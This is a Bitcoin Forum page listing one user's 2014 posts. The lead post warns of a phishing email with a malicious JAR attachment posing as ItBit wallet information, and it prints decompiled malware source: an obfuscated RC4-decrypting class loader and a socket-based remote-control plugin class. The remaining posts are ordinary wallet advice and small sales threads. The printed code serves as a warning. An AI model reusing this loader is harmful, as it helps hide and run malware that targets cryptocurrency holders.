Bitcoin Forum
May 11, 2024, 01:52:37 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
  Home Help Search Login Register More  
  Show Posts
Pages: « 1 [2] 3 4 5 6 7 8 9 »
21  Bitcoin / Bitcoin Discussion / Beware! MultiPlatform Malware Try To Steal Your Wallet on: June 14, 2014, 03:44:15 PM
At first I received a SPAM E-mail that looks like from ItBit Support. I opened an account on ItBit some days ago. I thought it was legit, maybe some private key backup. I downloaded and run the attachment (I ignore the warning and mark the JAR file as executable). Nothing happened, I started to suspect it was a malware.



Everytime I logged in to my Desktop. A Java process started. I check it using command line (Guess what? I use GNU/Linux and even GNU/Linux are vulnerable!):



The malware started automatically as local process everytime that user logged in.



Yeah, Found that malware hidden folder.



That's the java executable files. If you extract the folder you got three folder and here is the content:

load
• ID
• JarMain.class
• MANIFEST.MF

META-INF

• MANIFEST.MF

plugins
• UnrecomServer.class


Seems that the Main Class are JarMain.class I try to decompile it and here is the source code:

Code:
package load;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.jar.JarEntry;
import java.util.jar.JarInputStream;

public class JarMain
extends ClassLoader
{
private HashMap a = new HashMap();
private HashMap b = new HashMap();
public static boolean c;
public static boolean d;
private static final String[] z;

public InputStream getResourceAsStream(String paramString)
{
byte[] arrayOfByte = (byte[])this.b.get(paramString.replace("/", ".").replace(JarMain.z[6], ""));
if (arrayOfByte != null)
{
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte);
return localByteArrayInputStream;
}
return null;
}

public JarMain()
{
super(JarMain.class.getClassLoader());
b();
}

private String a(InputStream paramInputStream)
{
InputStreamReader localInputStreamReader = new InputStreamReader(paramInputStream);
BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader);
String str = localBufferedReader.readLine();
return str;
}

private JarInputStream a(byte[] paramArrayOfByte, String paramString)
{
return new JarInputStream(new ByteArrayInputStream(b(paramArrayOfByte, paramString)));
}

private InputStream a()
{
return getClass().getResourceAsStream(new StringBuilder(JarMain.z[4]).reverse().toString());
}

public synchronized void b()
{
boolean bool = JarMain.d;
InputStream localInputStream = getClass().getResourceAsStream(new StringBuilder(JarMain.z[3]).reverse().toString());
String str1 = a(localInputStream);
StringBuilder localStringBuilder1 = new StringBuilder();
StringBuilder localStringBuilder2 = new StringBuilder();
StringBuilder localStringBuilder3 = new StringBuilder();
StringBuilder localStringBuilder4 = new StringBuilder();
StringBuilder localStringBuilder5 = new StringBuilder();
StringBuilder localStringBuilder6 = new StringBuilder();
StringBuilder localStringBuilder7 = new StringBuilder();
StringBuilder localStringBuilder8 = new StringBuilder();
localInputStream = a();
StringBuilder localStringBuilder9 = new StringBuilder();
StringBuilder localStringBuilder10 = new StringBuilder();
StringBuilder localStringBuilder11 = new StringBuilder();
StringBuilder localStringBuilder12 = new StringBuilder();
StringBuilder localStringBuilder13 = new StringBuilder();
StringBuilder localStringBuilder14 = new StringBuilder();
StringBuilder localStringBuilder15 = new StringBuilder();
byte[] arrayOfByte = new byte['Ѐ'];
ByteArrayOutputStream localByteArrayOutputStream1 = new ByteArrayOutputStream();
int i;
while ((i = localInputStream.read(arrayOfByte)) > -1)
{
localByteArrayOutputStream1.write(arrayOfByte, 0, i);
if (bool) {
break label248;
}
if (bool) {
JarMain.c = !JarMain.c;
}
}
localByteArrayOutputStream1.close();
localInputStream.close();
label248:
JarInputStream localJarInputStream = a(localByteArrayOutputStream1.toByteArray(), str1);
JarEntry localJarEntry1 = b(localJarInputStream);
label463:
do
{
while ((localJarEntry1 = localJarInputStream.getNextJarEntry()) != null) {
if (!localJarEntry1.isDirectory())
{
JarEntry localJarEntry2 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry3 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry4 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry5 = new JarEntry(JarMain.z[2]);
String str2 = a(localJarEntry1);
JarEntry localJarEntry6 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry7 = new JarEntry(JarMain.z[2]);
ByteArrayOutputStream localByteArrayOutputStream2 = new ByteArrayOutputStream();
do
{
if ((i = localJarInputStream.read(arrayOfByte)) <= -1) {
break;
}
localByteArrayInputStream = new ByteArrayInputStream(new byte[] { 1 });
localByteArrayOutputStream2.write(arrayOfByte, 0, i);
if (bool) {
break label463;
}
} while (!bool);
localByteArrayOutputStream2.close();
ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(new byte[] { 1 });
this.b.put(str2, localByteArrayOutputStream2.toByteArray());
a(localJarInputStream);
}
}
localJarInputStream.close();
} while (bool);
}

private void a(JarInputStream paramJarInputStream)
{
paramJarInputStream.closeEntry();
}

private String a(JarEntry paramJarEntry)
{
JarEntry localJarEntry1 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry2 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry3 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry4 = new JarEntry(JarMain.z[2]);
String str = paramJarEntry.getName();
JarEntry localJarEntry5 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry6 = new JarEntry(JarMain.z[2]);
str = str.replace("/", ".");
JarEntry localJarEntry7 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry8 = new JarEntry(JarMain.z[2]);
str = str.replace(JarMain.z[6], "");
JarEntry localJarEntry9 = new JarEntry(JarMain.z[2]);
JarEntry localJarEntry10 = new JarEntry(JarMain.z[2]);
return str;
}

private JarEntry b(JarInputStream paramJarInputStream)
{
return paramJarInputStream.getNextJarEntry();
}

public Class loadClass(String paramString)
{
return findClass(paramString);
}

/* Error */
public Class findClass(String paramString)
{
// Byte code:
// 0: aload_0
// 1: getfield 16 load/JarMain:a Ljava/util/HashMap;
// 4: aload_1
// 5: invokevirtual 7 java/util/HashMap:get (Ljava/lang/Object;)Ljava/lang/Object;
// 8: checkcast 59 java/lang/Class
// 11: astore_2
// 12: aload_2
// 13: getstatic 252 load/JarMain:d Z
// 16: ifne +23 -> 39
// 19: ifnull +15 -> 34
// 22: goto +4 -> 26
// 25: athrow
// 26: aload_0
// 27: aload_2
// 28: invokevirtual 60 load/JarMain:resolveClass (Ljava/lang/Class;)V
// 31: aload_2
// 32: areturn
// 33: athrow
// 34: aload_0
// 35: aload_1
// 36: invokevirtual 61 load/JarMain:findSystemClass (Ljava/lang/String;)Ljava/lang/Class;
// 39: areturn
// 40: astore_3
// 41: new 27 java/lang/StringBuilder
// 44: dup
// 45: invokespecial 35 java/lang/StringBuilder: ()V
// 48: astore_3
// 49: new 27 java/lang/StringBuilder
// 52: dup
// 53: invokespecial 35 java/lang/StringBuilder: ()V
// 56: astore 4
// 58: new 27 java/lang/StringBuilder
// 61: dup
// 62: invokespecial 35 java/lang/StringBuilder: ()V
// 65: astore 5
// 67: new 27 java/lang/StringBuilder
// 70: dup
// 71: invokespecial 35 java/lang/StringBuilder: ()V
// 74: astore 6
// 76: new 27 java/lang/StringBuilder
// 79: dup
// 80: invokespecial 35 java/lang/StringBuilder: ()V
// 83: astore 7
// 85: new 27 java/lang/StringBuilder
// 88: dup
// 89: invokespecial 35 java/lang/StringBuilder: ()V
// 92: astore 8
// 94: new 27 java/lang/StringBuilder
// 97: dup
// 98: invokespecial 35 java/lang/StringBuilder: ()V
// 101: astore 9
// 103: new 27 java/lang/StringBuilder
// 106: dup
// 107: invokespecial 35 java/lang/StringBuilder: ()V
// 110: astore 10
// 112: new 27 java/lang/StringBuilder
// 115: dup
// 116: invokespecial 35 java/lang/StringBuilder: ()V
// 119: astore 11
// 121: new 27 java/lang/StringBuilder
// 124: dup
// 125: invokespecial 35 java/lang/StringBuilder: ()V
// 128: astore 12
// 130: new 27 java/lang/StringBuilder
// 133: dup
// 134: invokespecial 35 java/lang/StringBuilder: ()V
// 137: astore 13
// 139: aload_0
// 140: getfield 1 load/JarMain:b Ljava/util/HashMap;
// 143: aload_1
// 144: invokevirtual 7 java/util/HashMap:get (Ljava/lang/Object;)Ljava/lang/Object;
// 147: checkcast 8 [B
// 150: astore 14
// 152: aload_0
// 153: aload_1
// 154: aload 14
// 156: invokespecial 63 load/JarMain:a (Ljava/lang/String;[B)Ljava/lang/Class;
// 159: astore_2
// 160: aload_0
// 161: getfield 16 load/JarMain:a Ljava/util/HashMap;
// 164: aload_1
// 165: aload_2
// 166: invokevirtual 52 java/util/HashMap:put (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
// 169: pop
// 170: aload_2
// 171: areturn
// Local variable table:
// start length slot name signature
// 0 172 0 this JarMain
// 0 172 1 paramString String
// 11 160 2 localClass Class
// 40 1 3 localClassNotFoundException1 java.lang.ClassNotFoundException
// 48 1 3 localStringBuilder1 StringBuilder
// 56 1 4 localStringBuilder2 StringBuilder
// 65 1 5 localStringBuilder3 StringBuilder
// 74 1 6 localStringBuilder4 StringBuilder
// 83 1 7 localStringBuilder5 StringBuilder
// 92 1 8 localStringBuilder6 StringBuilder
// 101 1 9 localStringBuilder7 StringBuilder
// 110 1 10 localStringBuilder8 StringBuilder
// 119 1 11 localStringBuilder9 StringBuilder
// 128 1 12 localStringBuilder10 StringBuilder
// 137 1 13 localStringBuilder11 StringBuilder
// 150 5 14 arrayOfByte byte[]
// 25 1 16 localClassNotFoundException2 java.lang.ClassNotFoundException
// 33 1 17 localClassNotFoundException3 java.lang.ClassNotFoundException
// Exception table:
// from to target type
// 12 22 25 java/lang/ClassNotFoundException
// 19 33 33 java/lang/ClassNotFoundException
// 34 39 40 java/lang/ClassNotFoundException
}

private Class a(String paramString, byte[] paramArrayOfByte)
{
return defineClass(paramString, paramArrayOfByte, 0, paramArrayOfByte.length);
}

private byte[] b(byte[] paramArrayOfByte, String paramString)
{
boolean bool = JarMain.d;
String str = paramString + JarMain.z[5];
byte[] arrayOfByte = paramArrayOfByte;
int[] arrayOfInt1 = new int['ā'];
int[] arrayOfInt2 = new int['ā'];
int i = 0;
int j = 0;
int i1 = 0;
int k = 0;
int m = 0;
int n = 0;
i = 0;
do
{
if (i >= 256) {
break;
}
arrayOfInt1[i] = i;
i++;
if (bool) {
break label97;
}
} while (!bool);
j = 0;
label97:
i = 0;
do
{
if (i >= 256) {
break;
}
if (!bool)
{
if (bool) {
break label163;
}
if (j != str.length()) {}
}
else
{
j = 0;
}
arrayOfInt2[i] = str.charAt(j++);
i++;
} while (!bool);
j = 0;
i = 0;
label163:
do
{
if (i >= 256) {
break;
}
j = (j + arrayOfInt1[i] + arrayOfInt2[i]) % 256;
n = (char)arrayOfInt1[i];
arrayOfInt1[i] = arrayOfInt1[j];
arrayOfInt1[j] = n;
i++;
if (bool) {
break label230;
}
} while (!bool);
i = j = 0;
label230:
m = 0;
do
{
if (m >= arrayOfByte.length) {
break;
}
i = (i + 1) % 256;
j = (j + arrayOfInt1[i]) % 256;
n = (char)arrayOfInt1[i];
arrayOfInt1[i] = arrayOfInt1[j];
arrayOfInt1[j] = n;
k = (arrayOfInt1[i] + arrayOfInt1[j]) % 256;
i1 = (char)arrayOfInt1[k];
if (bool) {
break label344;
}
arrayOfByte[m] = ((byte)(arrayOfByte[m] ^ i1));
m++;
} while (!bool);
label344:
return arrayOfByte;
}

public static void main(String[] paramArrayOfString)
{
boolean bool = JarMain.d;
JarMain localJarMain = new JarMain();
Class localClass = localJarMain.loadClass(JarMain.z[1]);
Method localMethod = localClass.getMethod(JarMain.z[0], new Class[] { [Ljava.lang.String.class });
int i = localMethod.getModifiers();
if ((bool) || ((Modifier.isPublic(i)) && (Modifier.isStatic(i)))) {
localMethod.invoke(null, new Object[] { new String[0] });
}
if (JarMain.c) {
JarMain.d = !bool;
}
}

static
{
break label76;
0["l\0058\\"] = -1;
break label76;
1["H\n8Q{n"] = 0;
break label76;
2["b\013<\034x`\0220\034at\n"] = 1;
break label76;
3["E-"] = 2;
break label76;
4["G)fAD\"\030|SLK5S}mK"] = 3;
String[] tmp51_2 = new String[7];
break label76;
5["E!\002e%N3\032wXS1eb J"] = 4;
break label76;
6["/\007=Sar"] = 5;
JarMain.z = tmp51_2;
return;
label76:
tmp80_77 = tmp51_2.toCharArray();
int i = 0;
if (tmp80_77.length <= 1) {}
do
{
char[] tmp91_80 = tmp80_77;
int tmp93_92 = i;;
switch (i % 5)
{
case 0:
tmpTernaryOp = 1;
break;
case 1:
tmpTernaryOp = 100;
break;
case 2:
tmpTernaryOp = 81;
break;
case 3:
tmpTernaryOp = 50;
break;
}
tmp93_91[tmp93_92] = ((char)(tmp93_91[tmp93_92] ^ 0x12));
} while (tmp166_152 > i);
new String(tmp160_152);
tmp166_152;
switch (tmp160_91)
{
}
}
}

Java Source code for UnrecomServer.class

Code:
package plugins;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.Socket;
import java.util.Properties;

public abstract class UnrecomServer
{
public Socket socket;
public ObjectOutputStream out;
public ObjectInputStream in;
private static final long serialVersionUID = 1086053664594604059L;
public static Properties config;

public abstract void offLine();

public abstract String getId();

public abstract void onLine();
}

Thanks God, I don't lost any bitcoin. I don't know what kind of malware it is, maybe some KeyLogger?

I am warning you guys not to open or run suspicious file. Even if you are running Mac OS X or GNU/Linux. Many malware today are designed to run on multi platform using Java or Python like this malware.

Last but not least, here is the Malware File: Itbit-information-wallet.jar (Don't Run it on any system you care)
22  Economy / Games and rounds / Re: BTCJam forum name verification on: June 13, 2014, 07:32:41 AM
 'I want to link my Bitcointalk name with BTCJam's. Verification code: 5cb8c60a-1399-4ceb-aab0-60d6a5e75afa'
23  Other / Beginners & Help / Re: Bitcoin Core vs. blockchain.info & other online wallets on: June 11, 2014, 04:35:40 AM


Based on the pictures, i wonder why paper wallet has less security than other cold storage devices ?

• Because paper and ink can degradation over time. Is not fire proof and water proof.

• And usually private key on paper is written in plain cleartext (not encrypted). Anyone read this private key can stole the coins.
24  Other / Beginners & Help / Re: Bitcoin Core vs. blockchain.info & other online wallets on: June 11, 2014, 04:18:03 AM
Hello bitcointalk!

I've been studying the world of cryptocurrency for a couple years now and I plan on purchasing my first coins via coinbase or Bitstamp, but first I want to ask the community which wallet would be best in terms of security and ease of use?

25  Other / Beginners & Help / Re: All my BTC were stolen from QT desktop wallet by this individual on: June 11, 2014, 04:00:04 AM
Did you encrypt your wallet with password?

Next time don't use Windows. Use Mac OS X or GNU/Linux. If you store large amount of bitcoin, you may use cold storage / paper wallet.
Was you using windows without an outbound firewall? (Windows firewall does not block Outbound connections and any undetected key-logger would send everything to the hacker without you even knowing)
the wallet had passphrase encryption.  Not sure about the firewall.  Kasperski and AVG were on and nether triggered.   ran Malwarebytes.org scan and it did flag a bunch of stuff that the AV programs missed.  Certainly learned a lesson about importance of paper wallets.   

this character has posted to this community in the past.  I am hopeful moderators can DOXX him and hopefully together we can shame/coerce the guy to return the coins.

Everyone learned from mistake. I also learned a lesson not to store my bitcoin on exchange even if it has big name. I lost significant bitcoin on Mt Gox.

Many malware are targeting Bitcoin wallet now. Windows system especially Windows XP and older are not supported by Microsoft anymore. This system are vulnerable to malware. Don't use it for important task (bitcoin wallet, online transaction, server)
26  Economy / Service Discussion / Re: Least Goxable exchange? on: June 11, 2014, 03:40:30 AM
MultiSig   Wink
27  Other / Beginners & Help / Re: All my BTC were stolen from QT desktop wallet by this individual on: June 09, 2014, 04:46:48 AM
Did you encrypt your wallet with password?

Next time don't use Windows. Use Mac OS X or GNU/Linux. If you store large amount of bitcoin, you may use cold storage / paper wallet.
28  Economy / Goods / Re: [WTS] Indonesia Authentic Batik Clothes on: June 09, 2014, 04:43:52 AM
Hi all

Nice Bumps  Grin
29  Economy / Collectibles / Re: [WTS] 100 000 000 000 000 Zimbabwean Dollar Bank Note on: June 01, 2014, 06:49:42 AM
I want one! How much to ship to Hong Kong?

Shipping to Hong Kong is 0.03 BTC

Via EMS with trackable air way bill
30  Economy / Collectibles / Re: [WTS] 100 000 000 000 000 Zimbabwean Dollar Bank Note on: May 31, 2014, 06:58:09 PM
Serious buyer please sent your bid to



Will be sold to highest bidder. Auction will close on June 7th, 2014.
31  Economy / Collectibles / Re: [WTS] 100 000 000 000 000 Zimbabwean Dollar Bank Note on: May 31, 2014, 03:50:59 PM
How much total including shipping to the UK. Imagine the laughs to be had!  Grin

Shipping cost to UK is 0.0422 bitcoin
32  Economy / Collectibles / Re: [WTS] 100 000 000 000 000 Zimbabwean Dollar Bank Note on: May 30, 2014, 09:08:06 AM
Hi,
Are shipping this bank note as a post card? Because the customs may make some problem in my country.
BR

I will mark it as souvenir

Woah, that's awesome. How did you obtain it? I thought they stopped using it in 2013, or something like that.

I bought it from local collectors some months ago.

Yep, they stopped using it. Not used anymore in Zimbabwe.
33  Economy / Collectibles / Re: [WTS] 100 000 000 000 000 Zimbabwean Dollar Bank Note on: May 30, 2014, 04:07:02 AM
Is this really printed out as a note or just trolling around?

I am seriously selling it. This is original Zimbabwean Dollar Bank Note circa 2008, not fake one.

Here is the photo (with a bitcoin physical note  Grin )



Im really interessted... How much is shipping to Germany? More or less than hundred trillion dollars?  Grin

Shipping to Germany is US$ 25 (about 0.0435 BTC for current exchange rate)

are you located in the US or elsewhere? I need a shipping quote.


I am located in Semarang, Central Java, Indonesia.

Take LTC? If so price? Where u ship from?

Of course   Wink

Only Bitcoin & Litecoin accepted.
34  Economy / Collectibles / [WTS] 100 000 000 000 000 Zimbabwean Dollar Bank Note on: May 28, 2014, 04:03:21 AM


Selling for 0.03 BTC (does not include shipping cost)

 Grin

Bank Note is in perfect condition

Escrow Accepted

Ship wordlwide via EMS with a tracking number
35  Economy / Service Discussion / The Willy Report: proof of massive fraudulent trading activity at Mt. Gox on: May 25, 2014, 05:21:25 PM
http://willyreport.wordpress.com/

Any comment of this?

36  Economy / Goods / Re: [WTS] Indonesian Cigarettes ship From Indonesia on: May 21, 2014, 07:28:25 AM
Good afternoon all

 Grin
37  Economy / Goods / Re: [WTS] Indonesia Authentic Batik Clothes on: May 18, 2014, 04:04:42 PM
Bump... Bump... Bump... Bump...
38  Bitcoin / Bitcoin Discussion / Re: Ebay - the first tech giant to accept Bitcoin? on: May 18, 2014, 04:00:56 PM
Since ebay owns PayPal, this is unlikely to happen.

I guess PayPal will offer Bitcoin wallet service and a Bitcoin changer service like CoinBase.
39  Economy / Goods / Re: [WTS] Indonesian Cigarettes ship From Indonesia on: May 13, 2014, 07:28:05 AM
Welcome from Indonesia

The cigarettes price is still the same
40  Economy / Goods / Re: List of Prohibited Items for International Trade Reference on: May 08, 2014, 02:42:04 AM
Bump...

Better stickied
Pages: « 1 [2] 3 4 5 6 7 8 9 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!